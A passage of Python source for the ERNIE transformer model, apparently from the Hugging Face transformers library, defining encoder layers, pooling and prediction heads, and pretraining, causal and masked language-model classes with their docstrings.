self.is_decoder = config.is_decoder
self.add_cross_attention = config.add_cross_attention
if self.add_cross_attention:
if not self.is_decoder:
raise ValueError(f"{self} should be used as a decoder model if cross attention is added")
self.crossattention = ErnieAttention(config, position_embedding_type="absolute")
self.intermediate = ErnieIntermediate(config)
self.output = ErnieOutput(config)
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: Optional[torch.FloatTensor] = None,
head_mask: Optional[torch.FloatTensor] = None,
encoder_hidden_states: Optional[torch.FloatTensor] = None,
encoder_attention_mask: Optional[torch.FloatTensor] = None,
past_key_value: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
output_attentions: Optional[bool] = False,
) -> Tuple[torch.Tensor]:
# decoder uni-directional self-attention cached key/values tuple is at positions 1,2
self_attn_past_key_value = past_key_value[:2] if past_key_value is not None else None
self_attention_outputs = self.attention(
hidden_states,
attention_mask,
head_mask,
output_attentions=output_attentions,
past_key_value=self_attn_past_key_value,
)
attention_output = self_attention_outputs[0]
# if decoder, the last output is tuple of self-attn cache
if self.is_decoder:
outputs = self_attention_outputs[1:-1]
present_key_value = self_attention_outputs[-1]
else:
outputs = self_attention_outputs[1:] # add self attentions if we output attention weights
cross_attn_present_key_value = None
if self.is_decoder and encoder_hidden_states is not None:
if not hasattr(self, "crossattention"):
raise ValueError(
f"If `encoder_hidden_states` are passed, {self} has to be instantiated with cross-attention layers"
" by setting `config.add_cross_attention=True`"
)
# cross_attn cached key/values tuple is at positions 3,4 of past_key_value tuple
cross_attn_past_key_value = past_key_value[-2:] if past_key_value is not None else None
cross_attention_outputs = self.crossattention(
attention_output,
attention_mask,
head_mask,
encoder_hidden_states,
encoder_attention_mask,
cross_attn_past_key_value,
output_attentions,
)
attention_output = cross_attention_outputs[0]
outputs = outputs + cross_attention_outputs[1:-1] # add cross attentions if we output attention weights
# add cross-attn cache to positions 3,4 of present_key_value tuple
cross_attn_present_key_value = cross_attention_outputs[-1]
present_key_value = present_key_value + cross_attn_present_key_value
layer_output = apply_chunking_to_forward(
self.feed_forward_chunk, self.chunk_size_feed_forward, self.seq_len_dim, attention_output
)
outputs = (layer_output,) + outputs
# if decoder, return the attn key/values as the last output
if self.is_decoder:
outputs = outputs + (present_key_value,)
return outputs
def feed_forward_chunk(self, attention_output):
intermediate_output = self.intermediate(attention_output)
layer_output = self.output(intermediate_output, attention_output)
return layer_output
# Copied from transformers.models.bert.modeling_bert.BertEncoder with Bert->Ernie
class ErnieEncoder(nn.Module):
def __init__(self, config):
super().__init__()
self.config = config
self.layer = nn.ModuleList([ErnieLayer(config) for _ in range(config.num_hidden_layers)])
self.gradient_checkpointing = False
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: Optional[torch.FloatTensor] = None,
head_mask: Optional[torch.FloatTensor] = None,
encoder_hidden_states: Optional[torch.FloatTensor] = None,
encoder_attention_mask: Optional[torch.FloatTensor] = None,
past_key_values: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = False,
output_hidden_states: Optional[bool] = False,
return_dict: Optional[bool] = True,
) -> Union[Tuple[torch.Tensor], BaseModelOutputWithPastAndCrossAttentions]:
all_hidden_states = () if output_hidden_states else None
all_self_attentions = () if output_attentions else None
all_cross_attentions = () if output_attentions and self.config.add_cross_attention else None
next_decoder_cache = () if use_cache else None
for i, layer_module in enumerate(self.layer):
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
layer_head_mask = head_mask[i] if head_mask is not None else None
past_key_value = past_key_values[i] if past_key_values is not None else None
if self.gradient_checkpointing and self.training:
if use_cache:
logger.warning_once(
"`use_cache=True` is incompatible with gradient checkpointing. Setting `use_cache=False`..."
)
use_cache = False
def create_custom_forward(module):
def custom_forward(*inputs):
return module(*inputs, past_key_value, output_attentions)
return custom_forward
layer_outputs = torch.utils.checkpoint.checkpoint(
create_custom_forward(layer_module),
hidden_states,
attention_mask,
layer_head_mask,
encoder_hidden_states,
encoder_attention_mask,
)
else:
layer_outputs = layer_module(
hidden_states,
attention_mask,
layer_head_mask,
encoder_hidden_states,
encoder_attention_mask,
past_key_value,
output_attentions,
)
hidden_states = layer_outputs[0]
if use_cache:
next_decoder_cache += (layer_outputs[-1],)
if output_attentions:
all_self_attentions = all_self_attentions + (layer_outputs[1],)
if self.config.add_cross_attention:
all_cross_attentions = all_cross_attentions + (layer_outputs[2],)
if output_hidden_states:
all_hidden_states = all_hidden_states + (hidden_states,)
if not return_dict:
return tuple(
v
for v in [
hidden_states,
next_decoder_cache,
all_hidden_states,
all_self_attentions,
all_cross_attentions,
]
if v is not None
)
return BaseModelOutputWithPastAndCrossAttentions(
last_hidden_state=hidden_states,
past_key_values=next_decoder_cache,
hidden_states=all_hidden_states,
attentions=all_self_attentions,
cross_attentions=all_cross_attentions,
)
# Copied from transformers.models.bert.modeling_bert.BertPooler with Bert->Ernie
class ErniePooler(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
self.activation = nn.Tanh()
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
# We "pool" the model by simply taking the hidden state corresponding
# to the first token.
first_token_tensor = hidden_states[:, 0]
pooled_output = self.dense(first_token_tensor)
pooled_output = self.activation(pooled_output)
return pooled_output
# Copied from transformers.models.bert.modeling_bert.BertPredictionHeadTransform with Bert->Ernie
class ErniePredictionHeadTransform(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
if isinstance(config.hidden_act, str):
self.transform_act_fn = ACT2FN[config.hidden_act]
else:
self.transform_act_fn = config.hidden_act
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
hidden_states = self.dense(hidden_states)
hidden_states = self.transform_act_fn(hidden_states)
hidden_states = self.LayerNorm(hidden_states)
return hidden_states
# Copied from transformers.models.bert.modeling_bert.BertLMPredictionHead with Bert->Ernie
class ErnieLMPredictionHead(nn.Module):
def __init__(self, config):
super().__init__()
self.transform = ErniePredictionHeadTransform(config)
# The output weights are the same as the input embeddings, but there is
# an output-only bias for each token.
self.decoder = nn.Linear(config.hidden_size, config.vocab_size, bias=False)
self.bias = nn.Parameter(torch.zeros(config.vocab_size))
# Need a link between the two variables so that the bias is correctly resized with `resize_token_embeddings`
self.decoder.bias = self.bias
def forward(self, hidden_states):
hidden_states = self.transform(hidden_states)
hidden_states = self.decoder(hidden_states)
return hidden_states
# Copied from transformers.models.bert.modeling_bert.BertOnlyMLMHead with Bert->Ernie
class ErnieOnlyMLMHead(nn.Module):
def __init__(self, config):
super().__init__()
self.predictions = ErnieLMPredictionHead(config)
def forward(self, sequence_output: torch.Tensor) -> torch.Tensor:
prediction_scores = self.predictions(sequence_output)
return prediction_scores
# Copied from transformers.models.bert.modeling_bert.BertOnlyNSPHead with Bert->Ernie
class ErnieOnlyNSPHead(nn.Module):
def __init__(self, config):
super().__init__()
self.seq_relationship = nn.Linear(config.hidden_size, 2)
def forward(self, pooled_output):
seq_relationship_score = self.seq_relationship(pooled_output)
return seq_relationship_score
# Copied from transformers.models.bert.modeling_bert.BertPreTrainingHeads with Bert->Ernie
class ErniePreTrainingHeads(nn.Module):
def __init__(self, config):
super().__init__()
self.predictions = ErnieLMPredictionHead(config)
self.seq_relationship = nn.Linear(config.hidden_size, 2)
def forward(self, sequence_output, pooled_output):
prediction_scores = self.predictions(sequence_output)
seq_relationship_score = self.seq_relationship(pooled_output)
return prediction_scores, seq_relationship_score
class ErniePreTrainedModel(PreTrainedModel):
"""
An abstract class to handle weights initialization and a simple interface for downloading and loading pretrained
models.
"""
config_class = ErnieConfig
base_model_prefix = "ernie"
supports_gradient_checkpointing = True
_keys_to_ignore_on_load_missing = [r"position_ids"]
def _init_weights(self, module):
"""Initialize the weights"""
if isinstance(module, nn.Linear):
# Slightly different from the TF version which uses truncated_normal for initialization
# cf https://github.com/pytorch/pytorch/pull/5617
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.bias is not None:
module.bias.data.zero_()
elif isinstance(module, nn.Embedding):
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
if module.padding_idx is not None:
module.weight.data[module.padding_idx].zero_()
elif isinstance(module, nn.LayerNorm):
module.bias.data.zero_()
module.weight.data.fill_(1.0)
def _set_gradient_checkpointing(self, module, value=False):
if isinstance(module, ErnieEncoder):
module.gradient_checkpointing = value
@dataclass
# Copied from transformers.models.bert.modeling_bert.BertForPreTrainingOutput with Bert->Ernie
class ErnieForPreTrainingOutput(ModelOutput):
"""
Output type of [`ErnieForPreTraining`].
Args:
loss (*optional*, returned when `labels` is provided, `torch.FloatTensor` of shape `(1,)`):
Total loss as the sum of the masked language modeling loss and the next sequence prediction
(classification) loss.
prediction_logits (`torch.FloatTensor` of shape `(batch_size, sequence_length, config.vocab_size)`):
Prediction scores of the language modeling head (scores for each vocabulary token before SoftMax).
seq_relationship_logits (`torch.FloatTensor` of shape `(batch_size, 2)`):
Prediction scores of the next sequence prediction (classification) head (scores of True/False continuation
before SoftMax).
hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer) of
shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the model at the output of each layer plus the initial embedding outputs.
attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights after the attention softmax, used to compute the weighted average in the self-attention
heads.
"""
loss: Optional[torch.FloatTensor] = None
prediction_logits: torch.FloatTensor = None
seq_relationship_logits: torch.FloatTensor = None
hidden_states: Optional[Tuple[torch.FloatTensor]] = None
attentions: Optional[Tuple[torch.FloatTensor]] = None
ERNIE_START_DOCSTRING = r"""
This model inherits from [`PreTrainedModel`]. Check the superclass documentation for the generic methods the
library implements for all its model (such as downloading or saving, resizing the input embeddings, pruning heads
etc.)
This model is also a PyTorch [torch.nn.Module](https://pytorch.org/docs/stable/nn.html#torch.nn.Module) subclass.
Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general usage
and behavior.
Parameters:
config ([`ErnieConfig`]): Model configuration class with all the parameters of the model.
Initializing with a config file does not load the weights associated with the model, only the
configuration. Check out the [`~PreTrainedModel.from_pretrained`] method to load the model weights.
"""
ERNIE_INPUTS_DOCSTRING = r"""
Args:
input_ids (`torch.LongTensor` of shape `({0})`):
Indices of input sequence tokens in the vocabulary.
Indices can be obtained using [`AutoTokenizer`]. See [`PreTrainedTokenizer.encode`] and
[`PreTrainedTokenizer.__call__`] for details.
[What are input IDs?](../glossary#input-ids)
attention_mask (`torch.FloatTensor` of shape `({0})`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
token_type_ids (`torch.LongTensor` of shape `({0})`, *optional*):
Segment token indices to indicate first and second portions of the inputs. Indices are selected in `[0,
1]`:
- 0 corresponds to a *sentence A* token,
- 1 corresponds to a *sentence B* token.
[What are token type IDs?](../glossary#token-type-ids)
task_type_ids (`torch.LongTensor` of shape `({0})`, *optional*):
Task type embedding is a special embedding to represent the characteristic of different tasks, such as
word-aware pre-training task, structure-aware pre-training task and semantic-aware pre-training task. We
assign a `task_type_id` to each task and the `task_type_id` is in the range `[0,
config.task_type_vocab_size-1]
position_ids (`torch.LongTensor` of shape `({0})`, *optional*):
Indices of positions of each input sequence tokens in the position embeddings. Selected in the range `[0,
config.max_position_embeddings - 1]`.
[What are position IDs?](../glossary#position-ids)
head_mask (`torch.FloatTensor` of shape `(num_heads,)` or `(num_layers, num_heads)`, *optional*):
Mask to nullify selected heads of the self-attention modules. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
inputs_embeds (`torch.FloatTensor` of shape `({0}, hidden_size)`, *optional*):
Optionally, instead of passing `input_ids` you can choose to directly pass an embedded representation. This
is useful if you want more control over how to convert `input_ids` indices into associated vectors than the
model's internal embedding lookup matrix.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned
tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for
more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
@add_start_docstrings(
"The bare Ernie Model transformer outputting raw hidden-states without any specific head on top.",
ERNIE_START_DOCSTRING,
)
class ErnieModel(ErniePreTrainedModel):
"""
The model can behave as an encoder (with only self-attention) as well as a decoder, in which case a layer of
cross-attention is added between the self-attention layers, following the architecture described in [Attention is
all you need](https://arxiv.org/abs/1706.03762) by Ashish Vaswani, Noam Shazeer, Niki Parmar, Jakob Uszkoreit,
Llion Jones, Aidan N. Gomez, Lukasz Kaiser and Illia Polosukhin.
To behave as an decoder the model needs to be initialized with the `is_decoder` argument of the configuration set
to `True`. To be used in a Seq2Seq model, the model needs to initialized with both `is_decoder` argument and
`add_cross_attention` set to `True`; an `encoder_hidden_states` is then expected as an input to the forward pass.
"""
# Copied from transformers.models.bert.modeling_bert.BertModel.__init__ with Bert->Ernie
def __init__(self, config, add_pooling_layer=True):
super().__init__(config)
self.config = config
self.embeddings = ErnieEmbeddings(config)
self.encoder = ErnieEncoder(config)
self.pooler = ErniePooler(config) if add_pooling_layer else None
# Initialize weights and apply final processing
self.post_init()
# Copied from transformers.models.bert.modeling_bert.BertModel.get_input_embeddings
def get_input_embeddings(self):
return self.embeddings.word_embeddings
# Copied from transformers.models.bert.modeling_bert.BertModel.set_input_embeddings
def set_input_embeddings(self, value):
self.embeddings.word_embeddings = value
# Copied from transformers.models.bert.modeling_bert.BertModel._prune_heads
def _prune_heads(self, heads_to_prune):
"""
Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base
class PreTrainedModel
"""
for layer, heads in heads_to_prune.items():
self.encoder.layer[layer].attention.prune_heads(heads)
@add_start_docstrings_to_model_forward(ERNIE_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=BaseModelOutputWithPoolingAndCrossAttentions,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
task_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
encoder_hidden_states: Optional[torch.Tensor] = None,
encoder_attention_mask: Optional[torch.Tensor] = None,
past_key_values: Optional[List[torch.FloatTensor]] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], BaseModelOutputWithPoolingAndCrossAttentions]:
r"""
encoder_hidden_states (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
the model is configured as a decoder.
encoder_attention_mask (`torch.FloatTensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
the cross-attention if the model is configured as a decoder. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
past_key_values (`tuple(tuple(torch.FloatTensor))` of length `config.n_layers` with each tuple having 4 tensors of shape `(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`):
Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
If `past_key_values` are used, the user can optionally input only the last `decoder_input_ids` (those that
don't have their past key value states given to this model) of shape `(batch_size, 1)` instead of all
`decoder_input_ids` of shape `(batch_size, sequence_length)`.
use_cache (`bool`, *optional*):
If set to `True`, `past_key_values` key value states are returned and can be used to speed up decoding (see
`past_key_values`).
"""
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if self.config.is_decoder:
use_cache = use_cache if use_cache is not None else self.config.use_cache
else:
use_cache = False
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
elif input_ids is not None:
input_shape = input_ids.size()
elif inputs_embeds is not None:
input_shape = inputs_embeds.size()[:-1]
else:
raise ValueError("You have to specify either input_ids or inputs_embeds")
batch_size, seq_length = input_shape
device = input_ids.device if input_ids is not None else inputs_embeds.device
# past_key_values_length
past_key_values_length = past_key_values[0][0].shape[2] if past_key_values is not None else 0
if attention_mask is None:
attention_mask = torch.ones(((batch_size, seq_length + past_key_values_length)), device=device)
if token_type_ids is None:
if hasattr(self.embeddings, "token_type_ids"):
buffered_token_type_ids = self.embeddings.token_type_ids[:, :seq_length]
buffered_token_type_ids_expanded = buffered_token_type_ids.expand(batch_size, seq_length)
token_type_ids = buffered_token_type_ids_expanded
else:
token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=device)
# We can provide a self-attention mask of dimensions [batch_size, from_seq_length, to_seq_length]
# ourselves in which case we just need to make it broadcastable to all heads.
extended_attention_mask: torch.Tensor = self.get_extended_attention_mask(attention_mask, input_shape)
# If a 2D or 3D attention mask is provided for the cross-attention
# we need to make broadcastable to [batch_size, num_heads, seq_length, seq_length]
if self.config.is_decoder and encoder_hidden_states is not None:
encoder_batch_size, encoder_sequence_length, _ = encoder_hidden_states.size()
encoder_hidden_shape = (encoder_batch_size, encoder_sequence_length)
if encoder_attention_mask is None:
encoder_attention_mask = torch.ones(encoder_hidden_shape, device=device)
encoder_extended_attention_mask = self.invert_attention_mask(encoder_attention_mask)
else:
encoder_extended_attention_mask = None
# Prepare head mask if needed
# 1.0 in head_mask indicate we keep the head
# attention_probs has shape bsz x n_heads x N x N
# input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]
# and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]
head_mask = self.get_head_mask(head_mask, self.config.num_hidden_layers)
embedding_output = self.embeddings(
input_ids=input_ids,
position_ids=position_ids,
token_type_ids=token_type_ids,
task_type_ids=task_type_ids,
inputs_embeds=inputs_embeds,
past_key_values_length=past_key_values_length,
)
encoder_outputs = self.encoder(
embedding_output,
attention_mask=extended_attention_mask,
head_mask=head_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_extended_attention_mask,
past_key_values=past_key_values,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = encoder_outputs[0]
pooled_output = self.pooler(sequence_output) if self.pooler is not None else None
if not return_dict:
return (sequence_output, pooled_output) + encoder_outputs[1:]
return BaseModelOutputWithPoolingAndCrossAttentions(
last_hidden_state=sequence_output,
pooler_output=pooled_output,
past_key_values=encoder_outputs.past_key_values,
hidden_states=encoder_outputs.hidden_states,
attentions=encoder_outputs.attentions,
cross_attentions=encoder_outputs.cross_attentions,
)
@add_start_docstrings(
"""
Ernie Model with two heads on top as done during the pretraining: a `masked language modeling` head and a `next
sentence prediction (classification)` head.
""",
ERNIE_START_DOCSTRING,
)
class ErnieForPreTraining(ErniePreTrainedModel):
_keys_to_ignore_on_load_missing = [r"cls.predictions.decoder.bias", "cls.predictions.decoder.weight"]
# Copied from transformers.models.bert.modeling_bert.BertForPreTraining.__init__ with Bert->Ernie,bert->ernie
def __init__(self, config):
super().__init__(config)
self.ernie = ErnieModel(config)
self.cls = ErniePreTrainingHeads(config)
# Initialize weights and apply final processing
self.post_init()
# Copied from transformers.models.bert.modeling_bert.BertForPreTraining.get_output_embeddings
def get_output_embeddings(self):
return self.cls.predictions.decoder
# Copied from transformers.models.bert.modeling_bert.BertForPreTraining.set_output_embeddings
def set_output_embeddings(self, new_embeddings):
self.cls.predictions.decoder = new_embeddings
@add_start_docstrings_to_model_forward(ERNIE_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@replace_return_docstrings(output_type=ErnieForPreTrainingOutput, config_class=_CONFIG_FOR_DOC)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
task_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
next_sentence_label: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], ErnieForPreTrainingOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the masked language modeling loss. Indices should be in `[-100, 0, ...,
config.vocab_size]` (see `input_ids` docstring) Tokens with indices set to `-100` are ignored (masked),
the loss is only computed for the tokens with labels in `[0, ..., config.vocab_size]`
next_sentence_label (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for computing the next sequence prediction (classification) loss. Input should be a sequence
pair (see `input_ids` docstring) Indices should be in `[0, 1]`:
- 0 indicates sequence B is a continuation of sequence A,
- 1 indicates sequence B is a random sequence.
kwargs (`Dict[str, any]`, optional, defaults to *{}*):
Used to hide legacy arguments that have been deprecated.
Returns:
Example:
```python
>>> from transformers import AutoTokenizer, ErnieForPreTraining
>>> import torch
>>> tokenizer = AutoTokenizer.from_pretrained("nghuyong/ernie-1.0-base-zh")
>>> model = ErnieForPreTraining.from_pretrained("nghuyong/ernie-1.0-base-zh")
>>> inputs = tokenizer("Hello, my dog is cute", return_tensors="pt")
>>> outputs = model(**inputs)
>>> prediction_logits = outputs.prediction_logits
>>> seq_relationship_logits = outputs.seq_relationship_logits
```
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.ernie(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
task_type_ids=task_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output, pooled_output = outputs[:2]
prediction_scores, seq_relationship_score = self.cls(sequence_output, pooled_output)
total_loss = None
if labels is not None and next_sentence_label is not None:
loss_fct = CrossEntropyLoss()
masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
next_sentence_loss = loss_fct(seq_relationship_score.view(-1, 2), next_sentence_label.view(-1))
total_loss = masked_lm_loss + next_sentence_loss
if not return_dict:
output = (prediction_scores, seq_relationship_score) + outputs[2:]
return ((total_loss,) + output) if total_loss is not None else output
return ErnieForPreTrainingOutput(
loss=total_loss,
prediction_logits=prediction_scores,
seq_relationship_logits=seq_relationship_score,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""Ernie Model with a `language modeling` head on top for CLM fine-tuning.""", ERNIE_START_DOCSTRING
)
class ErnieForCausalLM(ErniePreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
_keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias", "cls.predictions.decoder.weight"]
# Copied from transformers.models.bert.modeling_bert.BertLMHeadModel.__init__ with BertLMHeadModel->ErnieForCausalLM,Bert->Ernie,bert->ernie
def __init__(self, config):
super().__init__(config)
if not config.is_decoder:
logger.warning("If you want to use `ErnieForCausalLM` as a standalone, add `is_decoder=True.`")
self.ernie = ErnieModel(config, add_pooling_layer=False)
self.cls = ErnieOnlyMLMHead(config)
# Initialize weights and apply final processing
self.post_init()
# Copied from transformers.models.bert.modeling_bert.BertLMHeadModel.get_output_embeddings
def get_output_embeddings(self):
return self.cls.predictions.decoder
# Copied from transformers.models.bert.modeling_bert.BertLMHeadModel.set_output_embeddings
def set_output_embeddings(self, new_embeddings):
self.cls.predictions.decoder = new_embeddings
@add_start_docstrings_to_model_forward(ERNIE_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=CausalLMOutputWithCrossAttentions,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
task_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
encoder_hidden_states: Optional[torch.Tensor] = None,
encoder_attention_mask: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
past_key_values: Optional[List[torch.Tensor]] = None,
use_cache: Optional[bool] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], CausalLMOutputWithCrossAttentions]:
r"""
encoder_hidden_states (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
the model is configured as a decoder.
encoder_attention_mask (`torch.FloatTensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
the cross-attention if the model is configured as a decoder. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the left-to-right language modeling loss (next word prediction). Indices should be in
`[-100, 0, ..., config.vocab_size]` (see `input_ids` docstring) Tokens with indices set to `-100` are
ignored (masked), the loss is only computed for the tokens with labels n `[0, ..., config.vocab_size]`
past_key_values (`tuple(tuple(torch.FloatTensor))` of length `config.n_layers` with each tuple having 4 tensors of shape `(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`):
Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
If `past_key_values` are used, the user can optionally input only the last `decoder_input_ids` (those that
don't have their past key value states given to this model) of shape `(batch_size, 1)` instead of all
`decoder_input_ids` of shape `(batch_size, sequence_length)`.
use_cache (`bool`, *optional*):
If set to `True`, `past_key_values` key value states are returned and can be used to speed up decoding (see
`past_key_values`).
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if labels is not None:
use_cache = False
outputs = self.ernie(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
task_type_ids=task_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
past_key_values=past_key_values,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
prediction_scores = self.cls(sequence_output)
lm_loss = None
if labels is not None:
# we are doing next-token prediction; shift prediction scores and input ids by one
shifted_prediction_scores = prediction_scores[:, :-1, :].contiguous()
labels = labels[:, 1:].contiguous()
loss_fct = CrossEntropyLoss()
lm_loss = loss_fct(shifted_prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
if not return_dict:
output = (prediction_scores,) + outputs[2:]
return ((lm_loss,) + output) if lm_loss is not None else output
return CausalLMOutputWithCrossAttentions(
loss=lm_loss,
logits=prediction_scores,
past_key_values=outputs.past_key_values,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
cross_attentions=outputs.cross_attentions,
)
# Copied from transformers.models.bert.modeling_bert.BertLMHeadModel.prepare_inputs_for_generation
def prepare_inputs_for_generation(
self, input_ids, past_key_values=None, attention_mask=None, use_cache=True, **model_kwargs
):
input_shape = input_ids.shape
# if model is used as a decoder in encoder-decoder model, the decoder attention mask is created on the fly
if attention_mask is None:
attention_mask = input_ids.new_ones(input_shape)
# cut decoder_input_ids if past_key_values is used
if past_key_values is not None:
input_ids = input_ids[:, -1:]
return {
"input_ids": input_ids,
"attention_mask": attention_mask,
"past_key_values": past_key_values,
"use_cache": use_cache,
}
# Copied from transformers.models.bert.modeling_bert.BertLMHeadModel._reorder_cache
def _reorder_cache(self, past_key_values, beam_idx):
reordered_past = ()
for layer_past in past_key_values:
reordered_past += (tuple(past_state.index_select(0, beam_idx) for past_state in layer_past),)
return reordered_past
@add_start_docstrings("""Ernie Model with a `language modeling` head on top.""", ERNIE_START_DOCSTRING)
class ErnieForMaskedLM(ErniePreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
_keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias", "cls.predictions.decoder.weight"]
# Copied from transformers.models.bert.modeling_bert.BertForMaskedLM.__init__ with Bert->Ernie,bert->ernie
def __init__(self, config):
super().__init__(config)
if config.is_decoder:
logger.warning(
"If you want to use `ErnieForMaskedLM` make sure `config.is_decoder=False` for "
"bi-directional self-attention."
)
self.ernie = ErnieModel(config, add_pooling_layer=False)
self.cls = ErnieOnlyMLMHead(config)
# Initialize weights and apply final processing
self.post_init()
# Copied from transformers.models.bert.modeling_bert.BertForMaskedLM.get_output_embeddings
def get_output_embeddings(self):
return self.cls.predictions.decoder
# Copied from transformers.models.bert.modeling_bert.BertForMaskedLM.set_output_embeddings
def set_output_embeddings(self, new_embeddings):
self.cls.predictions.decoder = new_embeddings
